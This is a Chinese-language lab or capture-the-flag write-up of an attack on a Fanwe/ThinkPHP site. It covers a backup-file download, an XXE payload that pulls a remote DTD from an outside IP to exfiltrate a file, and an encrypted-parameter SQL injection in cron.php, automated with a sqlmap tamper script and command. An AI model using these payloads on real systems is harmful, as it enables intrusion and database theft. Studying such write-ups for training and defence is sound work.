以下是目标站
使用的是《方维技术论坛》的模板,尝试了一下在网上找模板,无果
貌似这套模板得几万块一套,网上没有泛滥
这类的站,直接黑盒搞得可能性不太大 不然早泛滥了
这里尝试一下扫描备份文件,或者有惊喜
先选择自定义字典的《压缩包.txt》,然后开始扫描
扫出一条结果
http://mawd16-20.aqlab.cn:23512/fw.zip
直接在浏览打开,弹出了下载 这个文件极有可能是此站的安装包
翻看了一下 发现确实是此站源码不假
简单的翻看了一下源码,使用了think PHP框架
发现使用了微信支付的sdk 这个版本的sdk存在xxe注入 嘿嘿
这里直接一梭子过去直接一梭子过去
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file://文件路径">
<!ENTITY % remote SYSTEM "http://59.63.200.79:8017/1.xml">
%remote;
%send;
]>
哦豁 宝塔防火墙,不要慌 这里先bypass一下
等等,xml代码的bypass我好像不会啊,那怎么办
果断放弃这个点,专挑软柿子来捏才是王道
既然题目是数据库中的flag,那么突破点既有可能是sql注入
但是这里是使用的thinkphp框架进行开发的,难道是框架的注入吗??
这里我掐了一卦梅花易数,算出突破点在根目录的 cron.php
$auth = trim($_POST['auth']);
require_once APP_ROOT_PATH.'/system/libs/crypt_aes.php';
$aes = new CryptAES();
$aes->set_key(FANWE_AES_KEY);
$aes->require_pkcs5();
$decString = $aes->decrypt($auth);
$data = json_decode($decString,1);
if($data['key']!=FANWE_APP_ID)
die("auth error");
else
$type = $data['type'];
这里先是接收post参数auth 放在$auth变量中
这里引入了aes的库文件,然后new CryptAES
接着赋值了密钥 这里我是通过命名猜的
下面这一行$aes->require_pkcs5(); 是干啥的就猜不出来了
这里直接打开crypt_aes.php 搜索此函数 发现是设置类型 methon
简单的看了下 还有加密的函数
接着是解密$auth 也就是post参数
然后进行了json解析 返回给$data
再然后进行了判断,判断$data['key']的值是否不等于FANWE_APP_ID
这里的FANWE_APP_ID目测是个自定义的常量
如果不等于则 die("auth error");
等于则 $type = $data['type'];
然后将$type放进sql语句中执行
$GLOBALS['db']->query("start transaction");
$schedule_data = $GLOBALS['db']->getRow("select * from ".DB_PREFIX."schedule_list where type='".$type."' and exec_status in (0,1) and exec_lock = 0 and schedule_time <=".NOW_TIME." order by schedule_time asc limit 1");
通过以上的分析,这里的 FANWE_AES_KEY与FANWE_APP_ID两个常量是关键
这里将cron.php的代码复制到test.php
这里把post改成get 方便测试
这里先直接输出两个常量 却发现直接把常量的命名给输出出来了
echo FANWE_AES_KEY . "--" . FANWE_APP_ID."<br>";
行吧,我输了
这里我加了两行代码
直接对参数进行加密,然后把加密后的值输出出来方便测试
这里打开浏览器直接进行传参调试
根据php代码这里构造了一个json传过去
返回值为 "auth error",条件不成立
这里将key的值改为 FANWE_APP_ID,页面返回一个json 条件成立
这里将type的值改为以下的payload,页面开始延迟加载了 注入成功
?{"key": "FANWE_APP_ID","type": "sms' or sleep(10)-- 1"}
这里将代码划到最底部,页面输出的json值 其实是当前传入的type参数跟时间戳。。。
这里他妈的是盲注啊 靠
那就只能用sqlmap了(极不情愿),但是参数需要先进行aes加密。。。
这里简单的修改一下当前的代码,让其直接返回加密后的hash值
当前只需要传入sql语句即可
$auth = "{\"key\": \"FANWE_APP_ID\",\"type\": \"".$auth."\"}";
$auth = $aes->encrypt($auth);
echo urlencode($auth);
exit();
然后这里再使用python写一个sqlmap的tamper脚本 对接上面的php
import requests
def dependencies():
pass
def tamper(payload, **kwargs):
sesion = requests.session()
sesion.trust_env = False
red = sesion.get("http://test.com/test.php?auth="+payload)
return red.text
然后抓一下目标站的包,使用sqlmap进行盲注
sqlmap.py -r C:\Users\Test\Desktop\aaa.txt --tamper C:\Users\Test\Desktop\sqlmapproject-sqlmap-673a5af\tamper\test.py --dbs